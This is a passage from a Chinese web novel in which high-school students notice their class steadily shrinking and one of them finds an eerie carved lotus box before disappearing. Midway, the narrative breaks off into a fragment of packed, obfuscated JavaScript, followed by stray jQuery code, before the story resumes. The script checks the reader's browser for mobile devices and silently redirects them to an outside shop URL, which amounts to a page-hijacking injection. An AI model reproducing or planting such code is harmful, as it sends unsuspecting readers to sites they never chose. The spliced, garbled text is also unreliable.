第一节夜自修结束,程棂让收《作业本B版》。清点人数,将没上交的同学名字记在便利贴上。
翻来覆去,人数都是44个。原本43个,宋云络转学过来,44数字无错。
她皱了皱眉,怀疑最近可能真的学习压力太大,竟然连自己同学三年的同班同学人数也会记混。
练习册叠成一摞,程棂让两手抱住,往楼上数学老师办公室送。
每个教室都向走廊播洒节能灯柔软皎亮的光,敞开的楼道也照下亮如白昼的华光。程棂让心情放松,临近办公室门口时,却猝不及防撞见半生不熟的老熟人。
宋云络眉眼柔和,“巧。”
程棂让愣了一愣,吐出一字,“巧。”
宋云络没声了,程棂让快步向办公室走,简直是躲债似的躲进去的。
上次,她在自己家那栋楼道里编排宋云络,抹黑、污蔑……她承认是有点恶劣,光顾着泄愤,毫无证据地给人家编得太过了。
所以迎来报应——说人坏话刚好被正主抓个正着。
事情以程棂让加宋云络微信,答应每天给宋云络道歉结束。程棂让本想挣扎一下的,无奈宋云络软硬兼施。
不道歉就告状。
道歉可以不扣字,用可爱表情包。
程棂让毫无感情打卡似的发消息,宋云络高冷得很,回也不回。
她将练习册慢慢放到数学老师办公桌上,出办公室前还观察一番宋云络走了没有。
刚刚他也是路过而已。
程棂让松口气,该下楼回班里了。
“程棂让。”宋云络的嗓音幽幽从背后传来,贴着她耳朵旁般令人起了一身鸡皮疙瘩。
程棂让做出表情,比哭还难看的笑,“你找我?”
“你要干嘛吗?”
宋云络的笑比程棂让惬意十分,“我不干嘛。”
“我只是好像发现你很怕我。你好像不是很想和我说话,是吗?”
程棂让否认,“不会啊,怎么可能。”
“你现在这个样子就很像口不应心。”宋云络笑了,俊朗面庞在笑容中愈加光彩照人。
他仿佛是很喜欢逗乐,“我也没有别的多的爱好,我发现让别人尴尬就挺有趣的。”
程棂让哽住。
她有些无语,笑是笑不出来了,她的活泼灵动只对还没发现也没揭穿她假面的无知者表演。
“宋云络,逗我很有趣吗?那你小心以后变成秃头。”程棂让筛选出不算严重的一个诅咒。
“变秃头吗?”宋云络摸了把他浓密头发,“我要是真变秃头了,你就得小心点。”
“我变秃头,我第一个吓到你。”宋云络小嘴巴叭叭的,“你做的坏事,你咒的我,倒霉的也必须得是你。”
有病。程棂让无语得快翻白眼了,保持淑女风度,她才跟宋云络打打嘴仗,否则,她倒挺想给宋云络无敌大飞脚。
踢完就跑。
“棂让,你怎么在这儿?”程棂让掉头,看见一脸怪异……与其说怪异倒不如说似乎是发现大秘密而迷之姨母笑的缪慧勤。
她是昨天上体育课路上和程棂让说话的同学之一,和她关系很是亲近。
程棂让满脸不解,“你笑什么?”
“我没笑什么呀。”说话,笑容更夸张了。
程棂让一头雾水,“你没笑什么,那你还在笑。”
“唉呀,我真没笑什么。秘密,秘密,我懂的,是秘密。”缪慧勤一口画符似的胡言乱语,伴随狡黠迷惑的笑容。
宋云络也笑开了。
程棂让看着他们两个,真有种大晚上撞见两个精神错乱净会笑的精神病的错觉。
-
宋云络丰姿洒落,程棂让容色艳丽。说人话就是一个长得帅,一个长得漂亮。简直是天造地设的一对。
缪慧勤越想越觉得他们俩可太般配了,光站在一块儿,就让人忍不住地想磕CP。
何况他们斗嘴也有趣,宋云络显得沉稳持重,程棂让娇憨嗔怒,可爱得要命。一看就很登对,结婚一定幸福,老了儿孙满堂也恩恩爱爱。
缪慧勤全然沉浸在想象出来的别人的幸福中。其实脑补能力不仅不错,而且异常出奇,到了离奇的地步。
最后一节夜自修,她是半个字也没动,净出神想这些有的没的去了。
放学铃声一打响,缪慧勤赶紧下楼,她着急回家。主要是着急回家玩手机。
虽说是高三了——哪怕是高一高二,家长都会紧抓孩子玩手机,但是灵魂自由的鸟是关不住的,想玩手机的意志坚定,就一定会琢磨出各种小技巧顺利玩到手机。
缪慧勤缩在被窝里,被子几乎严丝合缝,漏不出半点手机光。
她刷了会儿,万恶的跳转界面出现,她手一滑,便被生生裹挟到了某个国内数一数二的线上购物平台。
她心烦地按返回键,手一滑,不小心又按到历史订单页面。
页面第一条赫然是个古色古香的荷花盒子。
雕工精细,用木厚实。右下角还标着接近两百块的成交价。
虽然说缪家不算穷,可是她一个兜里没多少零花钱的高中生花那么多钱买一个木盒子,似乎没有性价比。
缪慧勤思索,她不记得自己有买过这个盒子啊。页面显示是到货签收了,但是她为什么好像从来没有见过。
她,买木盒有什么用,是用来干什么的?
她失忆了?没有吧。可为什么搜索枯肠,冥思苦想也想不到跟盒子有关的蛛丝马迹?
缪慧勤抓狂。
困意却涌了上来。高中生一天天超负荷的学习,使得睡眠是目前排行第一的需求。她要去见周公了。
-
缪慧勤第二天整天没精打采的,她跟亲近的同学都提到了木盒子的事。
小伙伴们觉得可能是有谁偷偷跟她用了同一个账号。
“有没有可能你爸妈一直知道你有一个手机,而且还用木马入侵你的手机,一天到晚地监视你?”
谁异想天开地提出这个可能时,不只是缪慧勤,程棂让也后背一凉。
她的爸妈会不会也偷偷地监视着她,比方说在她的卧室里安装个监控,随时随地查看她的一举一动。
他们会吗?程棂让光想想就打了个寒战。
缪慧勤一天都魂不守舍的。
也因着这个缘故,今天晚自修结束,她并没有像之前那样一听见铃响起身就走。
今晚,她倒是高三(10)班最后一个离开的同学。
夜色昏黑。
空荡荡的学校,沉静,黑魆魆的,仿佛是灵异志怪里怪物的栖身地。
缪慧勤下意识裹了裹校服。
“嗳——”她低声叫道。
“这什么东西啊?”她眼睛直愣愣地盯着刚刚被自己踢到的盒子。
是个木盒。
和教材一样大小,深得约莫能装进两块黑板擦。
盒面上雕琢着水中荷花,精工雕刻,荷花似乎也带着丝娇媚,栩栩如生。
花盒!
缪慧勤悚然一颤。
月光淌在木盒子上,清晰地将上头的纹样描摹。既像她网购的木盒,又不太像是那一个。
究竟是或不是,缪慧勤捉摸不定。
她只觉得十分之诡异。怎么会那样巧,在放学路上刚好踢到一个木盒子,还同样描绘着荷花图案?
缪慧勤不由蹲下身子,近距离地观察盒子。
像是要从中看出端倪。
一只鸟,似乎是乌鸦从空中飞过,发出鸣亮的尖叫。缪慧勤抬头,想看看乌鸦大抵飞在什么地方,却见天幕广阔,月亮悄悄地往乌云里隐进半个身子。
空荡荡的学校里,地面一览无余地空旷。
既没有女学生,也没有花盒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678439|207601||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>-
是43个学生吗?
程棂让再次清点收上来的习题册,加上被她写在便利贴上没交作业的那几位。的确怎么数都是43个。
原本是42个。几天前,宋云络转学过来,多了一个。那就是43个。
人数本该清点无误。
但她就是惴惴不安,心里头仿佛被无形的重物压沉,不得不郁闷。
看来自己的精神是越来越脆弱敏感了,连班上几个同学这种确定无误而且芝麻绿豆大点事儿都会让她感觉疲惫。
有个贱嗖嗖的想法蓦然击打了程棂让一记。
难道是最近两天她妈没阴阳怪气嘲讽她,她觉得不适了,继而有空想些有的没的。
但这也不至于吧。
她还离谱到这份上吧。
程棂让的表情很难描述,有些跟吃了酸梅子一样的扭曲,有些六神无主似的茫然无措。
回家路上更是倒霉惨了遇见宋云络。
她可不喜欢宋云络,对此公的好感值绝对在及格线以下。
宋云络观察着她的神情,咧嘴笑着问,“你怎么了?”
其实他是想表现得亲善些,奈何程棂让不喜欢他,没好气地回,“我没怎么了。”
“你没怎么了,今天一天到晚都魂不守舍的?”
程棂让敷衍道:“你管得有点宽了。”
宋云络被呛,但他显然不是会让话掉地上,也不会止住话的人。
“哪里宽?”宋云络左手捏捏右胳膊上的肉,右手捏捏左胳膊上的肉,“我觉得我也不胖啊。”
程棂让有被宋云络的耍宝弄得一怔。
她气结,“我说你管得宽!”
宋云络笑了,闪亮的大白牙衬得这张俊脸朴实帅气,“我们可是同班同学,加上隔壁邻居。同学之间要关心,邻居之间也要关心。一层叠一层的,不算管得宽。”
程棂让嗔道:“宋云络,你这样能说会道的,就不担心哪天把自己说死了吗?”
宋云络还是不着四六的样,“啊?会死啊。我倒是知道很多做了会死的事情。”
“冷知识,凡是喝过水的人都会死。呼吸过空气的人会死,吃过大米的人也会死。”
程棂让气恼,白一眼宋云络,跨大步子就走。
-
怎么好像人数对不上了?
又是一晚夜自修,程棂让清点练习册。
加上没交的人数,统共是42个人。
原本是41个人,加上转学来的宋云络42个人。没有错的。
那究竟是为什么她觉得人数不太对?程棂让苦巴巴地挠了挠脑袋,也许是最近压力太大了,才会想什么不好偏偏想同学人数不对。
他们可是一屋子认识快满三年的同学!
-
他们班一直以来都是41个同学吗?
程棂让照例收集练习册,边点人数边犯嘀咕。
哪里想哪里都觉得不太对劲。
二中一共二十来个班,每个班学生数量平均分配,顶多有一两个人数差异的情况。
可他们(10)班怎么人数格外少,跟其他所有班差上四五个?
他们班有任何特别之处吗。是某位老师的教学质量过于差劲还是其他原因,让他们班的学生数量明显少别的班一截。
程棂让疑惑,却没有人给她答疑解惑。
大抵是因为学习的时候干其他任何事情都会显得有趣,所以她才会在这种微末小事上倾注心力吧。
程棂让痛定思痛。
今晚夜自修学得格外认真。
她今晚走得最晚。
“嗳——”背着斜挎牛仔包的程棂让叫唤,她的脚好像提到了东西。
程棂让在黑夜中凝神看过去,却见一个木盒静静地卧在水泥地面上,散发着月亮给它镀上的一圈皎洁光泽。
盒面上雕荷花的花盒。